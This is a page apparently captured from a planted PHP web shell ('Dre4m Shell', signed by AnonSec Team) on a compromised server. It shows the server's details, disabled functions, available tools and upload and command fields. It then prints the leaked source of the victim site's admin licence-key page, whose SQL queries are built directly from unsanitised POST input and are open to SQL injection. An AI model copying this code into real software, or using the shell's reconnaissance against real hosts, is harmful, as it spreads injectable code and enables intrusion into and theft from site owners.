Dre4m Shell
Server IP : 127.0.0.2  /  Your IP : 3.141.6.24
Web Server : Apache/2.4.18 (Ubuntu)
System :
User : www-data ( )
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : disk_free_space,disk_total_space,diskfreespace,dl,exec,fpaththru,getmyuid,getmypid,highlight_file,ignore_user_abord,leak,listen,link,opcache_get_configuration,opcache_get_status,passthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,php_uname,phpinfo,posix_ctermid,posix_getcwd,posix_getegid,posix_geteuid,posix_getgid,posix_getgrgid,posix_getgrnam,posix_getgroups,posix_getlogin,posix_getpgid,posix_getpgrp,posix_getpid,posix,_getppid,posix_getpwnam,posix_getpwuid,posix_getrlimit,posix_getsid,posix_getuid,posix_isatty,posix_kill,posix_mkfifo,posix_setegid,posix_seteuid,posix_setgid,posix_setpgid,posix_setsid,posix_setuid,posix_times,posix_ttyname,posix_uname,pclose,popen,proc_open,proc_close,proc_get_status,proc_nice,proc_terminate,shell_exec,source,show_source,system,virtual
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /var/www/html/admin/license-mgt.php
<?php
ob_start();
session_start();
require_once('session-check.php');
require_once('include/db-config.php');
$productid="";
$tot_cnt="";
$msg1="";
$is_allcated="";
if($_POST)
{
	
	$productid = $_POST['productid'];
   // HEAR WE ARE PERFORMING INSERT ACTION
	if(isset($_POST['savebuttton']))
	{
		$totalbox = $_POST['totalbox'];
		$today=date('Y-m-d');
		$j=1;
		while($j<=$totalbox)
		{
			if(isset($_POST['productkey'.$j]))
			{
				if($_POST['productkey'.$j]!="")
				{
					$productkeyvalue=$_POST['productkey'.$j];
					$query1 = "insert into product_key (Product_ID,Product_Key,Is_Allocated,Active,Date_Created,Date_Modified) values (".$productid.",'".$productkeyvalue."',0,1,'".$today."','".$today."')";
					$result = mysqli_query($conn,$query1);
				}
			}
			$j++;
		}
		$msg1= "<font class='success-text'>You have successfully added</font>";
					 
	}
	// HEAR WE ARE PERFORMING EDIT ACTION
	if($_POST['type']==2 and $_POST['deleteid']==0)
	{
		$tot_cnt = $_POST['tot_cnt'];
		$today=date('Y-m-d');
		/*$query3="select ID,Product_ID,Product_Key,Is_Allocated FROM product_key WHERE Is_Allocated=1 and Product_ID=".$productid;
		$result3= mysqli_query($conn,$query3);
		while($row=mysqli_fetch_array($result3))
		{
			$Is_Allocated = $row['Is_Allocated '];
		}*/
		$query2 = "delete from product_key where Product_ID = ".$productid." ";
		$result2 = mysqli_query($conn,$query2);
		$k=1;
		while($k<=$tot_cnt)
		{
			if(isset($_POST['productkey'.$k]))
			{
				if($_POST['productkey'.$k]!="")
				{
					$productkeyvalue=$_POST['productkey'.$k];
					$query1 = "insert into product_key (Product_ID,Product_Key,Is_Allocated,Active,Date_Created,Date_Modified) values (".$productid.",'".$productkeyvalue."',".$_POST['isallocated'.$k].",1,'".$today."','".$today."')";
					$result = mysqli_query($conn,$query1);
				}
			}
			$k++;
		}
		$msg1= "<font class='success-text'>You have successfully updated</font>";
	}
	// HEAR WE ARE PERFORMING EDIT ACTION
	if($_POST['type']==2 and $_POST['deleteid']!=0)
	{
		$id = $_POST['deleteid'];
		$query = "delete from product_key where ID= ".$id."";
		$result = mysqli_query($conn,$query);	
		$msg1= "<font class='success-text'>You have successfully deleted</font>";
	}
	
	if($productid > 0)
	{
		$sql2 = "SELECT ID,Product_ID,Is_Allocated,Product_Key FROM product_key  where Product_ID=".$productid." ORDER BY Product_Key";
		//echo $sql2;
		//exit;
		$result2 =mysqli_query($conn,$sql2);
		$total_record = mysqli_num_rows($result2);
	}
	
	
}

?>
<!DOCTYPE html> <HTML>
<HEAD>
<TITLE>Joel Levitt, maintenance management, maintenance management consulting, tpms</TITLE>
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=iso-8859-1">
<link href="css/style.css" type="text/css" rel="stylesheet">
<style type="text/css">
table { color: #FFFFFF; font-family: Arial, Verdana }
.normal { background-color: #323232 }
.normalActive { background-color:#000000;}
</style>
<script language="javascript" type="text/javascript">


var NumOfRow=1;

function Button1_onclick()
{
	NumOfRow++;
	// get the refference of the main Div
	var mainDiv=document.getElementById('MainDiv');
	
	// create new div that will work as a container
	var newDiv=document.createElement('div');
	//create span to contain the text
	var newSpan=document.createElement('span');
	
	//newSpan.innerHTML="Enter Your Mail Address ";
	
	// create new textbox for email entry
	var newTextBox=document.createElement('input');
	newTextBox.type='text';
	newTextBox.setAttribute('id','txtAddr'+NumOfRow);
	newTextBox.name="productkey"+NumOfRow; 
	newTextBox.className="textbox_3_plus";
	// create remove button for each email adress
	var newButton=document.createElement('img');
	//newButton.type='button';
	newButton.src='images/no.png';
	newButton.id='btn'+NumOfRow;
	//newButton.className='button2';
	
	// atach event for remove button click
	newButton.onclick=function RemoveEntry() { var mainDiv=document.getElementById('MainDiv');
	mainDiv.removeChild(this.parentNode);
	}

// append the span, textbox and the button
newDiv.appendChild(newSpan);
newDiv.appendChild(newTextBox);
//newDiv.appendChild(document.createTextNode('     '));
newDiv.appendChild(newButton);

// finally append the new div to the main div
mainDiv.appendChild(newDiv);
document.getElementById("totalbox").value=NumOfRow;
}

</script>  
<script language="javascript" type="text/ecmascript">
function delete_action(val)
{
	document.getElementById("deleteid").value = val;
	
	document.form1.action='license-mgt.php';
	document.form1.submit();
}
</script>
<script language="javascript" type="text/javascript">
function validateform()
{
	if(document.getElementById("productid").value == "")
	{
		alert("Please select the Product Name");
		document.getElementById("productid").focus();
		return false;
	}
}
</script>
</HEAD>
<BODY BGCOLOR=#FFFFFF LEFTMARGIN=0 TOPMARGIN=0 MARGINWIDTH=0 MARGINHEIGHT=0>
<!-- ImageReady Slices (maintrainer_slice2.jpg) -->
<!--FIRST TABLE-->
<TABLE WIDTH="100%" BORDER=0 CELLPADDING=0 CELLSPACING=0 align="center">
	<?php include_once('include/include_header.php'); ?>
	<TR>
		<TD valign="top" height="98%" colspan="2">
        	<table border="0" cellpadding="0" cellspacing="0" width="95%" align="center" class="body_bg">
            	<tr><td colspan="3" style="height:9px;"></td></tr>
               <tr>
                
                	<td style="height:40px;" colspan="2" class="content_bg">	
                   	  <?php echo $msg1; ?>
                    </td>
				</tr>
              
                <tr>
                	<td class="content_bg" style="padding-bottom:10px;" valign="top">
                    	<form method="post" name="productchange" id="productchange" action="license-mgt.php" onSubmit="return validateform();"  >
                        <input type="hidden" name="totalbox" id="totalbox" value="1">
                        <input type="hidden" name="type" id="type" value="1">
                    	<table border="0" cellpadding="0" cellspacing="0" style="padding-left:30px;" width="100%">
                        	
                        	<tr>
                            	<td nowrap valign="middle" class="normal_text" style="padding-left::10px;">&nbsp;&nbsp;<b>Select the Product</b>&nbsp;&nbsp;</td>
                                <td valign="middle" width="50%">
                                	<select name="productid" id="productid" style="min-width:200px;" onChange="javascript: this.form.submit();" >
                                        <option></option>
                                        <?php
										$sql="SELECT ID,ProductName,DownloadFlag FROM productnew WHERE DownloadFlag = 1";
                                        $result =mysqli_query($conn,$sql);
                                        while($row = mysqli_fetch_array($result))
                                        {
                                            $ID = $row['ID'];
                                            $ProductName = $row['ProductName'];
											$DownloadFlag = $row['DownloadFlag'];
											if($productid == $ID )
												$select = 'selected';
											else
												$select ="";
											
                                        ?>
                                        <option <?php echo $select; ?> value="<?php echo $ID; ?>"><?php echo $ProductName; ?></option>
                                        <?php
                                        }
                                        ?>
                                    </select>
                                </td>
                            	<td style="width:9px;"></td>
                            </tr>
                            <tr><td height="10"></td></tr>
                            <tr>
                            	<td nowrap valign="middle" class="normal_text" style="padding-left::10px;">&nbsp;&nbsp;<b>Product Key</b>&nbsp;&nbsp;</td>
                    			<td class="content_bg">
                                	<input type="text" name="productkey1" id="productkey1"  value=""/>
			                    </td>
        			       </tr>
                           <tr>
                           		<td></td>
                           		<td>
                                	 <div id="MainDiv"></div>
                                     <br>
                                     <img border="0"  src="images/button_add.gif" onClick="Button1_onclick()"/>
                                </td>
                           </tr>
                            <tr><td height="10"></td></tr>
                           <tr>
                           		<td></td>
                           		<td colspan="2" class="content_bg" ><input type="submit" id="savebuttton" name="savebuttton" value="Save" class="bttn"></td>
                           </tr>
                       </table>
                       </form>
                    </td>
                   
	               <td width="100%" valign="top" align="left" class="content_bg" style="padding-left:30px;">
                    <?php
					if($_POST && $total_record>0)
					{
					
					?>
                    	<form method="post" action="license-mgt.php" name="form1" id="form1">
                        <input type="hidden" name="deleteid" id="deleteid" value="0" >
                        <table border="0" cellpadding="0" cellspacing="0" class="normal_text" align="right" style="padding-left:10px;">
                        	<tr>
                                <td class="tablehead" nowrap><strong>No</strong></td>
                                <td class="tablehead" nowrap><strong>Product Key </strong></td>
                                <td class="tablehead"><strong>Action</strong></td>
                            </tr>
                            <?php
							$i = 0;
							while($row = mysqli_fetch_array($result2))
							{
								$i = $i + 1;
								$ID = $row['ID'];
								$Product_Key = $row['Product_Key'];
								$isallocated = $row['Is_Allocated'];
								if($isallocated == 1)
									$readonly = 'readonly';
								else
									$readonly ="";
							?>
                            <tr>
                                <td><?php echo $i; ?></td>
                                <td>
                                	<input <?php echo $readonly;?> type="text" name="<?php echo "productkey".$i; ?>" id="<?php echo "productkey".$i; ?>" value="<?php echo $Product_Key; ?>" style="width:120px;">
                                    <input type="hidden" name="<?php echo "isallocated".$i;?>" id="<?php echo "isallocated".$i;?>" value="<?php echo $isallocated; ?>">
                                </td>
                            	<?php
								if($isallocated == 0)
								{
								?>
                                <td style="background-color:#FFF"><a href="javascript:void(0);" onClick="delete_action(<?php echo $ID;?>)">delete</a></td>
                                <?php
								}
								?>
                            </tr>
							<?php
							}
							?>

                            <tr><td style="height:20px;"></td></tr>
                            <tr>
                            	<td colspan="4" align="center">
                                <input type="submit" id="save" name="save" value="Save" class="bttn" >
                               <!-- &nbsp;<input type="button" id="back" name="back" value="Cancel" class="bttn" onClick="javascript:history.back();">-->
                                </td>
                            <td style="width:9px;"></td>
                            </tr>
                            <TR><TD height="40"></TD></TR>
                        </table>
                        <input type="hidden" name="productid" id="productid" value="<?php echo $productid; ?>">
                        <input type="hidden" name="tot_cnt" id="tot_cnt" value="<?php echo $i; ?>">
                        <input type="hidden" name="type" id="type" value="2">
                        </form>
					<?php
					}
					?>
                    </td>
                    
                </tr>
             <tr><td colspan="3" style="height:9px;"></td></tr>
            </table>
            
        </TD>
	</TR>

    
    <?php include_once('include/include_footer.php'); ?>
</TABLE>
<!-- End ImageReady Slices -->
</BODY>
</HTML>

Anon7 - 2022
AnonSec Team